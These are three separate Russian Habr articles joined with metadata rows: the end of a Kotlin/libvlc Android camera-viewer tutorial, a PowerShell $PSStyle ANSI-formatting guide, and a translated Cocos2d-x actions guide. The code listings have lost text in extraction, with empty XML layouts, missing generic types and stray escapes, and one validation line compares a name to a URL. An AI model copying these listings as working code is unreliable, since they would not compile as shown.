На самом деле доставить контент пользователю можно было бы разными способами, например, через веб приложение. Но, к сожалению, почти все современные браузеры не поддерживают кодек H.265, который мне был очень нужен, поэтому этот путь пришлось отбросить сразу.
Кроме того, в моей схеме подключения участвуют два сервера – локальный, с «серым» IP адесом, и удаленный, с «белым» IP, который предоставляет доступ к камерам через интернет по протоколу TCP. Поэтому одно из главных требований к приложению – возможность явного переключения TCP/UDP. Такой роскоши в VLC нет.
Немного порывшись в плей маркете и перепробовав некоторое количество существующих приложений разного толка, активно впихивающих мне рекламу, выклянчивающих деньги за платный контент, требующих доступ к всем мыслимым и немыслимым активам телефона и бодро сливающие мои данные в недра интернета, я понял, что для решения такой простой задачи все-таки придется погрузится в пучины мобильной разработки.
### Лирическое отступление о выборе платформы
Фреймворки для разработки кроссплатформенных приложений также пришлось исключить, потому что мне нужно обрабатывать жесты для масштабирования и позиционирования изображения, и сделать это максимально плавно.
Кстати, JetBrains предлагает вроде бы интересное мультиплатформенное решение – Kotlin Multiplatform Mobile. Надо попробовать! Устанавливаю плагин KMM в Android Studio, создаю проект по единственному предложенному шаблону. Структура проекта не нравится. Ладно, может быть можно вынести в shared хотя бы строковые ресурсы? Нет, без танцев с бубном нельзя. А как собрать приложение под iOS? Да никак, для этого нужна iOS. А если учесть, что в стране, где я живу, будущее продукции Apple несколько туманно, смысл теряется окончательно. Решено: буду честно писать под андроид на его официальном языке — котлине.
### Реализация
Приложение должно быть максимально простым, я (пока) не буду использовать фрагменты и граф навигации. У меня будет всего три экрана: список камер, редактор настроек камеры и экран видео:
Для работы с потоками я буду использовать библиотеку libvlc, настройки сохранять в приватном каталоге во внутреннем хранилище устройства в формате json с помощью библиотеки gson. Для взаимодействия с элементами представления мне нравится view binding, который включается опцией viewBinding true в файле build.gradle уровня приложения:
**build.gradle**
```
plugins {
id 'com.android.application'
id 'org.jetbrains.kotlin.android'
}
android {
compileSdk 32
defaultConfig {
applicationId "com.vladpen.cams"
minSdk 23
targetSdk 32
versionCode 1
versionName "1.0"
testInstrumentationRunner "androidx.test.runner.AndroidJUnitRunner"
}
buildTypes {
release {
minifyEnabled false
proguardFiles getDefaultProguardFile('proguard-android-optimize.txt'), 'proguard-rules.pro'
}
}
compileOptions {
sourceCompatibility JavaVersion.VERSION_1_8
targetCompatibility JavaVersion.VERSION_1_8
}
kotlinOptions {
jvmTarget = '1.8'
}
buildFeatures {
viewBinding true
}
packagingOptions {
jniLibs {
useLegacyPackaging = true
}
}
}
dependencies {
implementation 'androidx.core:core-ktx:1.7.0'
implementation 'androidx.appcompat:appcompat:1.4.1'
implementation 'com.google.android.material:material:1.5.0'
implementation 'com.google.code.gson:gson:2.8.6'
implementation 'org.videolan.android:libvlc-all:3.4.9'
testImplementation 'junit:junit:4.13.2'
androidTestImplementation 'androidx.test.ext:junit:1.1.3'
androidTestImplementation 'androidx.test.espresso:espresso-core:3.4.0'
}
```
В манифесте, помимо трех activity, нужно не забыть включить разрешение на доступ к сети android.permission.INTERNET:
**AndroidManifest.xml**
```
xml version="1.0" encoding="utf-8"?
```
Главный экран приложения (MainActivity) содержит список камер recyclerView и ссылки на редактирование/добавление камер:
**MainActivity.kt**
```
package com.vladpen.cams
import android.content.Intent
import android.os.Bundle
import android.view.View
import androidx.appcompat.app.AppCompatActivity
import androidx.recyclerview.widget.LinearLayoutManager
import com.vladpen.StreamData
import com.vladpen.StreamsAdapter
import com.vladpen.cams.databinding.ActivityMainBinding
class MainActivity: AppCompatActivity() {
private val binding by lazy { ActivityMainBinding.inflate(layoutInflater) }
private val streams by lazy { StreamData.getStreams(this) }
override fun onCreate(savedInstanceState: Bundle?) {
super.onCreate(savedInstanceState)
setContentView(binding.root)
initActivity()
}
private fun initActivity() {
binding.recyclerView.layoutManager = LinearLayoutManager(this)
binding.recyclerView.adapter = StreamsAdapter(streams)
binding.toolbar.btnBack.visibility = View.GONE
binding.toolbar.tvToolbarLabel.text = getString(R.string.app_name)
binding.toolbar.tvToolbarLink.text = getString(R.string.add)
binding.toolbar.tvToolbarLink.visibility = View.VISIBLE
binding.toolbar.tvToolbarLink.setOnClickListener {
editScreen()
}
}
private fun editScreen() {
val editIntent = Intent(this, EditActivity::class.java)
editIntent.putExtra("id", -1)
startActivity(editIntent)
}
}
```
**activity\_main.xml**
```
xml version="1.0" encoding="utf-8"?
```
Для работы recyclerView требуется адаптер:
**StreamsAdapter.kt**
```
package com.vladpen
import android.content.Context
import android.content.Intent
import android.content.Intent.FLAG_ACTIVITY_NEW_TASK
import android.view.LayoutInflater
import android.view.ViewGroup
import androidx.recyclerview.widget.RecyclerView
import com.vladpen.cams.VideoActivity
import com.vladpen.cams.EditActivity
import com.vladpen.cams.databinding.StreamItemBinding
class StreamsAdapter(private val dataSet: List) :
RecyclerView.Adapter() {
override fun onCreateViewHolder(parent: ViewGroup, viewType: Int): StreamHolder {
val binding = StreamItemBinding.inflate(LayoutInflater.from(parent.context), parent, false)
return StreamHolder(parent.context, binding)
}
override fun onBindViewHolder(holder: StreamHolder, position: Int) {
val row: StreamDataModel = dataSet[position]
holder.bind(position, row)
}
override fun getItemCount(): Int = dataSet.size
inner class StreamHolder(private val context: Context, private val binding: StreamItemBinding) :
RecyclerView.ViewHolder(binding.root) {
fun bind(position: Int, row: StreamDataModel) {
with(binding) {
tvStreamName.text = row.name
tvStreamName.setOnClickListener {
val intent = Intent(context, VideoActivity::class.java)
navigate(context, intent, position)
}
btnEdit.setOnClickListener {
val intent = Intent(context, EditActivity::class.java)
navigate(context, intent, position)
}
}
}
}
private fun navigate(context: Context, intent: Intent, position: Int) {
intent.setFlags(FLAG\_ACTIVITY\_NEW\_TASK).putExtra("position", position)
context.startActivity(intent)
}
}
```
и элемент списка:
**stream\_item.xml**
```
xml version="1.0" encoding="utf-8"?
```
За хранение данных отвечает синглтон StreamData, формат данных описывает data class StreamDataModel:
**StreamData.kt**
```
package com.vladpen
import android.content.Context
import android.util.Log
import com.google.gson.Gson
import com.google.gson.reflect.TypeToken
import java.io.File
data class StreamDataModel(val name: String, val url: String, val tcp: Boolean)
object StreamData {
private const val fileName = "streams.json"
private var streams = mutableListOf()
fun save(context: Context, position: Int, stream: StreamDataModel) {
if (position < 0) {
streams.add(stream)
} else {
streams[position] = stream
}
streams.sortBy { it.name }
write(context)
}
fun delete(context: Context, position: Int) {
if (position < 0) {
return
}
streams.removeAt(position)
write(context)
}
private fun write(context: Context) {
val json = Gson().toJson(streams)
context.openFileOutput(fileName, Context.MODE\_PRIVATE).use {
it.write(json.toByteArray())
}
}
fun getStreams(context: Context): MutableList {
if (streams.size == 0) {
try {
val filesDir = context.filesDir
if (File(filesDir, fileName).exists()) {
val json: String = File(filesDir, fileName).readText()
initStreams(json)
} else {
Log.i("DATA", "Data file $fileName does not exist")
}
} catch (e: Exception) {
Log.e("Data", e.localizedMessage ?: "Can't read data file $fileName")
}
}
return streams
}
fun getByPosition(position: Int): StreamDataModel? {
if (position < 0 || position >= streams.count()) {
return null
}
return streams[position]
}
private fun initStreams(json: String) {
if (json == "") {
return
}
val listType = object : TypeToken>() { }.type
streams = Gson().fromJson>(json, listType).toMutableList()
}
}
```
Камеры (streams) хранятся в списке mutableList, доступ к данным камеры можно получить по индексу (position).
Экран редактирования настроек камер (EditActivity) отвечает за добавление, редактирование и удаление записей в списке streams:
**EditActivity.kt**
```
package com.vladpen.cams
import android.content.Intent
import android.os.Bundle
import android.view.View
import androidx.appcompat.app.AlertDialog
import androidx.appcompat.app.AppCompatActivity
import com.vladpen.StreamData
import com.vladpen.StreamDataModel
import com.vladpen.cams.databinding.ActivityEditBinding
class EditActivity : AppCompatActivity() {
private val binding by lazy { ActivityEditBinding.inflate(layoutInflater) }
private val streams by lazy { StreamData.getStreams(this) }
private var position: Int = -1
override fun onCreate(savedInstanceState: Bundle?) {
super.onCreate(savedInstanceState)
setContentView(binding.root)
initActivity()
}
private fun initActivity() {
position = intent.getIntExtra("position", -1)
val stream = StreamData.getByPosition(position)
if (stream == null) {
position = -1
binding.toolbar.tvToolbarLabel.text = getString(R.string.cam_add)
} else {
binding.toolbar.tvToolbarLabel.text = stream.name
binding.etEditName.setText(stream.name)
binding.etEditUrl.setText(stream.url)
binding.scEditTcp.isChecked = !stream.tcp
binding.tvDeleteLink.visibility = View.VISIBLE
binding.tvDeleteLink.setOnClickListener {
delete()
}
}
binding.btnSave.setOnClickListener {
save()
}
binding.toolbar.btnBack.setOnClickListener {
back()
}
}
private fun save() {
if (!validate()) {
return
}
StreamData.save(this, position, StreamDataModel(
binding.etEditName.text.toString().trim(),
binding.etEditUrl.text.toString().trim(),
!binding.scEditTcp.isChecked
))
back()
}
private fun validate(): Boolean {
val name = binding.etEditName.text.toString().trim()
val url = binding.etEditUrl.text.toString().trim()
var ok = true
if (name.isEmpty() || name.length > 255) {
binding.etEditName.error = getString(R.string.err_invalid)
ok = false
}
if (url.isEmpty() || url.length > 255) {
binding.etEditUrl.error = getString(R.string.err_invalid)
ok = false
}
for (i in streams.indices) {
if (i == position) {
break
}
if (streams[i].name == name) {
binding.etEditName.error = getString(R.string.err_cam_exists)
ok = false
}
if (streams[i].name == url) {
binding.etEditUrl.error = getString(R.string.err_cam_exists)
ok = false
}
}
return ok
}
private fun delete() {
AlertDialog.Builder(this)
.setMessage(R.string.cam_delete)
.setPositiveButton(R.string.delete) { _, _ ->
StreamData.delete(this, position)
back()
}
.setNegativeButton(R.string.cancel) { dialog, _ ->
dialog.dismiss()
}
.create().show()
}
private fun back() {
startActivity(Intent(this, MainActivity::class.java))
}
}
```
**activity\_edit.xml**
```
xml version="1.0" encoding="utf-8"?
```
Экран видео (VideoActivity) инициализирует медиаплеер (MediaPlayer(libVlc)) и добавляет необходимые параметры --rtsp-tcp и network-caching. К сожалению, не существует рекомендуемого набора опций, при которых плеер будет работать «хорошо». Значение параметра network-caching подобрано опытным путем. Слишком низкое значение может привести к невозможности отображения видеопотока, слишком высокое увеличивает задержку перед воспроизведением.
**VideoActivity.kt**
```
package com.vladpen.cams
import android.content.Intent
import android.net.Uri
import android.os.Bundle
import android.view.*
import android.view.ScaleGestureDetector.SimpleOnScaleGestureListener
import androidx.appcompat.app.AppCompatActivity
import com.vladpen.StreamData
import com.vladpen.cams.databinding.ActivityVideoBinding
import org.videolan.libvlc.LibVLC
import org.videolan.libvlc.Media
import org.videolan.libvlc.MediaPlayer
import org.videolan.libvlc.util.VLCVideoLayout
import java.io.IOException
import kotlin.math.max
import kotlin.math.min
class VideoActivity : AppCompatActivity(), MediaPlayer.EventListener {
private val binding by lazy { ActivityVideoBinding.inflate(layoutInflater) }
private lateinit var libVlc: LibVLC
private lateinit var mediaPlayer: MediaPlayer
private lateinit var videoLayout: VLCVideoLayout
private lateinit var scaleGestureDetector: ScaleGestureDetector
private var scaleFactor = 1.0f
private var position: Int = -1
override fun onCreate(savedInstanceState: Bundle?) {
super.onCreate(savedInstanceState)
setContentView(binding.root)
initActivity()
}
private fun initActivity() {
position = intent.getIntExtra("position", -1)
val stream = StreamData.getByPosition(position)
if (stream == null) {
position = -1
return
}
binding.toolbar.tvToolbarLabel.text = stream.name
binding.toolbar.btnBack.setOnClickListener {
val mainIntent = Intent(this, MainActivity::class.java)
startActivity(mainIntent)
}
videoLayout = binding.videoLayout
libVlc = LibVLC(this, ArrayList().apply {
if (stream.tcp) {
add("--rtsp-tcp")
}
})
mediaPlayer = MediaPlayer(libVlc)
mediaPlayer.setEventListener(this)
mediaPlayer.attachViews(videoLayout, null, false, false)
try {
val uri = Uri.parse(stream.url)
Media(libVlc, uri).apply {
setHWDecoderEnabled(true, false)
addOption(":network-caching=150")
mediaPlayer.media = this
}.release()
mediaPlayer.play()
} catch (e: IOException) {
e.printStackTrace()
}
scaleGestureDetector = ScaleGestureDetector(this, ScaleListener())
}
override fun onStop() {
super.onStop()
mediaPlayer.stop()
mediaPlayer.detachViews()
}
override fun onDestroy() {
super.onDestroy()
mediaPlayer.release()
libVlc.release()
}
override fun onEvent(ev: MediaPlayer.Event) {
if (ev.type == MediaPlayer.Event.Buffering && ev.buffering == 100f) {
binding.pbLoading.visibility = View.GONE
}
}
override fun onTouchEvent(ev: MotionEvent): Boolean {
// Let the ScaleGestureDetector inspect all events.
scaleGestureDetector.onTouchEvent(ev)
return true
}
inner class ScaleListener : SimpleOnScaleGestureListener() {
override fun onScale(scaleGestureDetector: ScaleGestureDetector): Boolean {
scaleFactor \*= scaleGestureDetector.scaleFactor
scaleFactor = max(1f, min(scaleFactor, 10.0f))
videoLayout.scaleX = scaleFactor
videoLayout.scaleY = scaleFactor
return true
}
}
}
```
**activity\_video.xml**
```
xml version="1.0" encoding="utf-8"?
```
Экран видео дополнительно реализует (implements) интерфейс MediaPlayer.EventListener, который нужен для отключения индикатора загрузки (pbLoading) после окончания буферизации потока. Внутренний класс ScaleListener обрабатывает жест масштабирования «pinch zoom».
Заголовок экранов я вынес в отдельный файл, включаемый в разметку экранов директивой include:
**toolbar.xml**
```
xml version="1.0" encoding="utf-8"?
```
В результате приложение получилось если не максимально простым, то, по крайне мере, максимально близким к этому:)
### Сборка
Хотя нативные приложения имеют минимальный размер (и максимальную производительность), использование библиотеки libvlc-all увеличивает результирующий размер сборки:
Как видите, поддержка каждой платформы съедает около 19 МБ дискового пространства. Такова цена «всеядности» VLC, который работает почти всегда и везде и воспроизводит все, что вообще может воспроизводиться.
### TODO
Поскольку мне нужно было сделать максимально просто, в эту статью не вошла реализация перемещения увеличенного изображение – это требует некоторого количества арифметических вычислений, не добавляющих понятности коду. Кроме того, чуть позже я планирую добавить поддержку воспроизведения сохраненного архива через SFTP.
### Вместо заключения
В результате моих исследований получилось простое, но вполне рабочее приложение, поэтому я оставлю его здесь, на Хабре. Надеюсь, кому-нибудь поможет.
P.S. Времени на написание комментариев в коде не было, прошу не судить строго. Зато комментарии открыты на Хабре – добро пожаловать! | https://habr.com/ru/post/654915/ | null | ru | null |
# Использование PowerShell с $PSStyle
В PowerShell 7.2 появилась автоматическая переменная `$PSStyle` для новой функции под названием PSAnsiRendering. В этой статье я покажу, как можно использовать ANSI-рендеринг для управления оформлением текста, например цветом и стилизацией шрифта, в PowerShell.
Уже некоторое время мы можем использовать в сеансе PowerShell escape-последовательности ANSI. Вы уже могли наблюдать это при вводе команд в командной строке. Команды, параметры, строки и операторы отображаются цветом. Эти цвета определяются как опции PSReadline.
---
**Оглавление:**
1. [$PSStyle](#1)
2. [Настройка стиля](#2)
3. [Визуализация форматирования](#3)
4. [Стили индикаторов выполнения](#4)
5. [Информация о файлах](#5)
6. [Подводя итоги](#6)
---
*Параметры PSReadline*
ANSI-последовательности начинаются с escape, который представляет собой `[Char]0x1b` или `[Char]27`. В PowerShell 7 мы можем использовать ``e`. Последовательность ANSI следует за escape. Вся эта последовательность предшествует строке, которую вы хотите обработать. Обычно последовательность закрывается командой сброса, `$([char]27)[0m`.
Создание строки ANSI:
```
PS C:\> "$([char]27)[38;5;121mHello, world$([char]27)[0m"
Hello, world
PS C:\>
```
Вы также можете использовать ANSI для выделения полужирным шрифтом или подчёркивания.
*Подчёркивание с форматированием ANSI*
Это не только интересно, но и может придать дополнительную значимость выводам PowerShell. Чтобы упростить использование этой функции, компания Microsoft ввела в PowerShell 7.2 новую функцию под названием PSStyle.
$PSStyle
--------
Насколько я могу судить, для этой функции не существует командлетов. Всё, что вам нужно, заключено в новой переменной под названием `$PSStyle`.
*Переменная PSStyle*
Значения ANSI отображаются в своих цветах.
> Важно
>
>
>
> Следует отметить, что если вы запускаете PowerShell в терминале Windows Terminal, вы получите различные интерпретации в зависимости от цветовой схемы.
Используйте эти значения вместо фактической последовательности ANSI.
```
"`nRunning $($psstyle.Background.Blue)PowerShell$($psstyle.Reset)$($psstyle.Reset) $($psstyle.Foreground.Yellow)v{0}$($psstyle.Reset) on $($psstyle.Foreground.BrightCyan){1}$($psstyle.Reset)." -f $($psversiontable.PSVersion),(Get-CimInstance win32_operatingsystem).caption
```
Возможно, я немного перемудрил, и я думаю, что здесь вполне возможны сомнения в том, проще ли это, чем использовать фактические последовательности ANSI. Но это работает.
*Форматированная строка PSStyle*
Вы можете использовать это, чтобы выделить цветом часть строки или для выделения предупреждающего сообщения.
```
$msg = "Could not find part of path: {0}{1}{2}{3}" -f $psstyle.Italic,$psstyle.Background.Cyan,"c:\work",$psstyle.Reset
Write-Warning $msg
```
В этом примере я комбинирую стили.
*PSStyle форматированное предупреждение*
Настройка стиля
---------------
Значения цветов переднего и заднего планов доступны только для чтения. Однако объект `$PSStyle` имеет метод, который можно использовать для установки цвета переднего или заднего плана из набора значений RGB.
```
"$($PSStyle.Foreground.FromRgb(0,200,100))I am the walrus$($PSStyle.Reset)"
```
*PSStyle RGB*
Вероятнее всего, я создам и присвою новое значение переменной.
```
$custom = $PSStyle.Foreground.FromRgb(0,200,100)
"$($custom)I am the walrus$($PSStyle.Reset)"
```
Но это ещё не всё, что может предложить PSStyle.
Визуализация форматирования
---------------------------
В PowerShell 7.2 вы заметите, что форматированные таблицы имеют небольшой собственный стиль.
*Форматированная таблица со стилем*
Откуда взялись эти зелёные заголовки колонок?
*Форматирование PSStyle*
Вы можете изменить эти значения вместо того, чтобы изменять значения в `$host.privatedata`, как мы делали в предыдущих версиях PowerShell. Я изменю цвет сообщения об ошибке.
```
$PSStyle.Formatting.Error = "`e[38;5;201m"
```
*Форматирование ошибки PSStyle*
Вы заметите, что сообщение об ошибке отображается красным цветом, который является значением в `$host.privatedata`. Однако, когда я смотрю на ошибку с помощью `Get-Error`, отформатированный результат использует мою новую настройку PSStyle.
Вот изменения в предупреждениях.
*Форматирование предупреждения PSStyle*
Или изменения в заголовках таблиц.
```
$psstyle.Formatting.TableHeader = "`e[3;38;5;195m"
```
*Персонализированные заголовки таблиц PSStyle*
Если вы хотите вернуться к таблицам с обычным текстом, вы можете изменить настройку рендеринга.
```
$psstyle.OutputRendering = "Plaintext"
```
Однако это приведёт к отключению всех настроек, связанных с ANSI. Чтобы вернуть их, установите значение «ANSI».
Имейте в виду, что любые изменения в `$PSStyle` не будут постоянными, если вы не добавите их в сценарий профиля PowerShell.
Кстати, если вам интересно, откуда я взял ANSI-последовательности, я использовал команду `Show-ANSISequence` из модуля `PSScriptTools`, который можно установить из галереи PowerShell.
Стили индикаторов выполнения
----------------------------
Одним из важных изменений в PowerShell 7.2 является способ отображения индикаторов выполнения. Новый формат больше похож на Linux и удобен для командной строки. Кроме того, он не так сильно нагружает систему, как предыдущие варианты отображения прогресса. Настройки для нового стиля отображения прогресса настраиваются здесь.
*Настройки прогресса PSStyle*
Теперь, когда вы выполняете команду, использующую `Write-Progress`, вы получите что-то вроде этого.
*PSStyle ProgressBar*
Приведённая выше команда также взята из модуля `PSScriptTools`.
Если вам нужен или предпочтителен традиционный вид, вы можете легко установить его.
```
$psstyle.Progress.view = "Classic"
```
Используйте значение «Minimal» для нового стиля. Или можете по своему усмотрению настроить цвет.
```
$psstyle.Progress.Style = "`e[38;5;123m"
```
Вот несколько глуповатых строк кода, чтобы увидеть это в действии.
```
1..100 | ForEach-Object -Begin {$i= 0} -process {
$i++
$p = ($i/100)*100
Write-progress -Activity "Demo" -CurrentOperation "Processing $_" -Status "Square = $($_*$_)" -PercentComplete $p
Start-Sleep -Milliseconds 100
}
```
*Персонализация PSStyle ProgressBar*
Одним из потенциальных недостатков этого нового стиля является то, что строка `CurrentOperation` фактически оставлена в стороне.
Информация о файлах
-------------------
Самое интересное я приберёг напоследок. Вы можете использовать `$PSStyle` для форматирования списков директорий.
*Настройки PSStyle FileInfo по умолчанию*
Однако, если вы сделаете листинг директории, вы, вероятно, не заметите никакой разницы. Чтобы оценить преимущества этой функции, необходимо включить одну из экспериментальных функций.
```
Enable-ExperimentalFeature PSANSIRenderingFileInfo
```
Вы увидите сообщение о перезапуске PowerShell. В отличие от изменений значений в `$PSStyle`, это изменение сохраняется до тех пор, пока вы не отключите функцию. Но посмотрите на разницу.
*Вывод ANSI-файла*
Возможно, на первый взгляд трудно определить цвет файлов PS1. Нет проблем. Я могу это изменить.
```
$psstyle.FileInfo.Extension[".ps1"] = "`e[38;5;123m"
```
*Персонализация ANSI FileInfo*
Вы не можете изменить то, что Windows определяет как исполняемый файл, но вы можете добавить расширение файла.
```
$PSStyle.FileInfo.Extension.add(".xml","`e[38;5;190m")
```
*Персонализация форматирования файлов*
Определить стиль для группы расширений файлов не так уж сложно.
```
$ext =".gif",".bmp",".png",".jpg",".jpeg"
foreach ($e in $ext) {
$PSStyle.FileInfo.Extension.add($e,"`e[38;5;111m")
}
```
Поскольку мне было так увлекательно работать с этим, я понял, что мне нужен хороший способ настройки параметров `FileInfo` без необходимости постоянно редактировать скрипт профиля. Я написал набор функций PowerShell: одну для экспорта настроек `FileInfo` в файл JSON и другую для их импорта. Вы можете найти эти функции [здесь](https://gist.github.com/jdhitsolutions/4258f3f9ebdd1e1f3305a9b2cf61d831). Сохраните файл PS1 на рабочем столе и распарсите его.
После того как вы настроили параметры `FileInfo`, экспортируйте их в файл JSON.
```
Export-PSStyleFileInfo C:\work\fileinfo.json
```
В вашем скрипте профиля PowerShell распарсите файл PS1, а затем импортируйте настройки.
```
Import-PSStyleFileInfo c:\work\fileinfo.json
```
Подводя итоги
-------------
Мне будет очень интересно посмотреть, как я смогу включить PSStyle в свою повседневную работу и скриптинг с PowerShell. Помните, что для этого требуется PowerShell 7.2, так что, если вы ещё не обновились, это может быть хорошей причиной сделать это. А если вы найдёте отличное применение этим настройкам, я буду рад услышать об этом, пишите о своих решения в комментариях.
---
НЛО прилетело и оставило здесь промокоды для читателей нашего блога:
— [15% на все тарифы VDS](https://firstvds.ru/?utm_source=habr&utm_medium=article&utm_campaign=product&utm_content=vds15exeptprogrev) (кроме тарифа Прогрев) — **HABRFIRSTVDS**.
— [20% на выделенные серверы AMD Ryzen и Intel Core](https://1dedic.ru/?utm_source=habr&utm_medium=article&utm_campaign=product&utm_content=coreryzen20#server_configurator) — **HABRFIRSTDEDIC**. | https://habr.com/ru/post/652711/ | null | ru | null |
# Cocos2d-x — Обработка действий
От автора перевода
------------------
Как вы уже поняли, эта статья — простой перевод официальной [документации](http://www.cocos2d-x.org/docs/programmers-guide/actions/index.html) к движку Cocos2d-x. Если вы здесь впервые, можете глянуть [предыдущую статью](https://habrahabr.ru/post/339690/)!
**ВНИМАНИЕ**: Самое сложное при переводе технических документаций — это не сам перевод, а адаптация текста для русскоязычных читателей. Многие термины могут вовсе не переводиться на русский. Я выкручивался из таких ситуаций как мог. На суть и основные мысли данной статьи это никак не повлияло, но возможны некоторые неточности. Я заранее извиняюсь и прошу вас сообщать мне о подобных ошибках, при их обнаружении. Буду очень благодарен!
Действия
--------
Объекты **Action** — это то, чем они называются. Действия позволяют изменять свойства объектов **Node** во времени. Любые объекты базового класса **Node** могут иметь действия, выполняющиеся в них. В качестве примера, вы можете двигать спрайт из одной позиции в другую, и делать это постепенно в течении промежутка времени.
Примеры действий:
```
// Двигает спрайт в позицию (50,10) за 2 секунды.
auto moveTo = MoveTo::create(2, Vec2(50, 10));
mySprite1->runAction(moveTo);
// Двигает спрайт на 20 точек вправо за 2 секунды
auto moveBy = MoveBy::create(2, Vec2(20,0));
mySprite2->runAction(moveBy);
```
### «By» и «To», в чем различия?
Вы заметите, что каждое действие имеет **By** и **To** версии. Зачем это нужно? Дело в том, что они отличаются по принципу своей работы. **By** выполняются относительно текущего состояния узла. Действия **To** не зависят от текущих параметров узла. Давайте взглянем на конкретный пример:
```
auto mySprite = Sprite::create("mysprite.png");
mySprite->setPosition(Vec2(200, 256));
// MoveBy - позволяет переместить спрайт на 500 пикселей по оси x за 2 секунды.
// Если x = 200, то после перемещения x = 200 + 500 = 700
auto moveBy = MoveBy::create(2, Vec2(500, 0));
// MoveTo - позволяет переместить спрайт в точку (300, 256)
// Спрайт получает новую позицию (300, 256) не зависимо от того,
// где он находился до этого.
auto moveTo = MoveTo::create(2, Vec2(300, mySprite->getPositionY()));
// Delay - создает небольшую задержку
auto delay = DelayTime::create(1);
auto seq = Sequence::create(moveBy, delay, moveTo, nullptr);
mySprite->runAction(seq);
```
Основные действия и как их запустить
------------------------------------
Базовые действия, как правило, являются единичными, то есть выполняют единственную задачу.
Давайте разберем несколько примеров:
### Move
Перемещает узел за заданный период времени.
```
auto mySprite = Sprite::create("mysprite.png");
// Двигает спрайт в заданную локацию за 2 секунды.
auto moveTo = MoveTo::create(2, Vec2(50, 0));
mySprite->runAction(moveTo);
// Двигает спрайт на 50 пикселей вправо и 0 пикселей вверх за 2 секунды.
auto moveBy = MoveBy::create(2, Vec2(50, 0));
mySprite->runAction(moveBy);
```
### Rotate
Вращает узел по часовой стрелке, за заданный период времени.
```
auto mySprite = Sprite::create("mysprite.png");
// Поворачивает узел до заданного угла за 2 секунды
auto rotateTo = RotateTo::create(2.0f, 40.0f);
mySprite->runAction(rotateTo);
// Поворачивает узел на 40 градусов, за 2 секунды
auto rotateBy = RotateBy::create(2.0f, 40.0f);
mySprite->runAction(rotateBy);
```
### Scale
Масштабирует узел, с течением времени.
```
auto mySprite = Sprite::create("mysprite.png");
// Увеличивает спрайт в 3 раза относительно текущего размера
// за 2 секунды
auto scaleBy = ScaleBy::create(2.0f, 3.0f);
mySprite->runAction(scaleBy);
// Тоже, что предыдущий вызов
auto scaleBy = ScaleBy::create(2.0f, 3.0f, 3.0f);
mySprite->runAction(scaleBy);
// Увеличивает масштаб в 3 раза
auto scaleTo = ScaleTo::create(2.0f, 3.0f);
mySprite->runAction(scaleTo);
// Тоже, что предыдущий вызов
auto scaleTo = ScaleTo::create(2.0f, 3.0f, 3.0f);
mySprite->runAction(scaleTo);
```
### Fade In/Out
Постепенно делает узел видимым/невидимым.
FadeIn изменяет непрозрачность от 0 до 255. Обратное действие — FadeOut
```
auto mySprite = Sprite::create("mysprite.png");
// Делает спрайт видимым за 1 секунду
auto fadeIn = FadeIn::create(1.0f);
mySprite->runAction(fadeIn);
// Делает спрайт невидимым за 2 секунды
auto fadeOut = FadeOut::create(2.0f);
mySprite->runAction(fadeOut);
```
### Tint
Изменяет цветовой тон узла, с текущего на заданный.
```
auto mySprite = Sprite::create("mysprite.png");
// окрашивает узел в заданный RGB цвет
auto tintTo = TintTo::create(2.0f, 120.0f, 232.0f, 254.0f);
mySprite->runAction(tintTo);
// складывает текущий цвет с заданным
auto tintBy = TintBy::create(2.0f, 120.0f, 232.0f, 254.0f);
mySprite->runAction(tintBy);
```
### Animate
**Animate** позволяет реализовать покадровую анимацию для вашего спрайта. Это просто замена отображаемого кадра с установленными интервалами продолжительности анимации. Давайте рассмотрим такой пример:
```
auto mySprite = Sprite::create("mysprite.png");
// теперь давайте анимируем спрайт
Vector animFrames;
animFrames.reserve(12);
animFrames.pushBack(SpriteFrame::create("Blue\_Front1.png", Rect(0,0,65,81)));
animFrames.pushBack(SpriteFrame::create("Blue\_Front2.png", Rect(0,0,65,81)));
animFrames.pushBack(SpriteFrame::create("Blue\_Front3.png", Rect(0,0,65,81)));
animFrames.pushBack(SpriteFrame::create("Blue\_Left1.png", Rect(0,0,65,81)));
animFrames.pushBack(SpriteFrame::create("Blue\_Left2.png", Rect(0,0,65,81)));
animFrames.pushBack(SpriteFrame::create("Blue\_Left3.png", Rect(0,0,65,81)));
animFrames.pushBack(SpriteFrame::create("Blue\_Back1.png", Rect(0,0,65,81)));
animFrames.pushBack(SpriteFrame::create("Blue\_Back2.png", Rect(0,0,65,81)));
animFrames.pushBack(SpriteFrame::create("Blue\_Back3.png", Rect(0,0,65,81)));
animFrames.pushBack(SpriteFrame::create("Blue\_Right1.png", Rect(0,0,65,81)));
animFrames.pushBack(SpriteFrame::create("Blue\_Right2.png", Rect(0,0,65,81)));
animFrames.pushBack(SpriteFrame::create("Blue\_Right3.png", Rect(0,0,65,81)));
// создает анимацию из кадров
Animation\* animation = Animation::createWithSpriteFrames(animFrames, 0.1f);
Animate\* animate = Animate::create(animation);
// запускаем анимацию и повторяем ее бесконечно
mySprite->runAction(RepeatForever::create(animate));
```
Трудно продемонстрировать эффект анимации в тексте, поэтому попробуйте сами протестировать ее, чтобы увидеть как она работает!
### Easing
Сглаживает анимацию, чтобы сделать ее плавной. Помните, что сглаженные действия всегда начинаются одинаково и заканчиваются в одно время, независимо от типа сглаживания. Плавные действия — это хороший способ подделать физику в вашей игре!
Здесь представлены общие функции сглаживания отображаемые на графиках:
Cocos2d-x поддерживает большинство функций сглаживания из вышеуказанных. Они также просты для реализации. Давайте посмотрим на конкретный случай использования. Давайте сбросим спрайт с верхней части экрана и симулируем его отскок.
```
// создание спрайта
auto mySprite = Sprite::create("mysprite.png");
auto dir = Director::getInstance();
mySprite->setPosition(Vec2(dir->getVisibleSize().width / 2,
mySprite->getContentSize().height / 2));
// создание действия MoveBy в то место, от куда мы сбросим спрайт
auto move = MoveBy::create(2, Vec2(0,
dir->getVisibleSize().height - MySprite->getContentSize().height));
auto move_back = move->reverse();
// создаем действие - падение
auto move_ease_back = EaseBounceOut::create(move_back->clone());
// создает задержку, которая запускается между действиями
auto delay = DelayTime::create(0.25f);
// создаем последовательность действий в том порядке,
// в котором мы хотим их запустить
auto seq1 = Sequence::create(move, delay, move_ease_back, nullptr);
// создает последовательность и повторяет бесконечно
mySprite->runAction(RepeatForever::create(seq1));
```
Протестируйте этот код, чтобы увидеть его в действии!
Последовательности и как их запустить
-------------------------------------
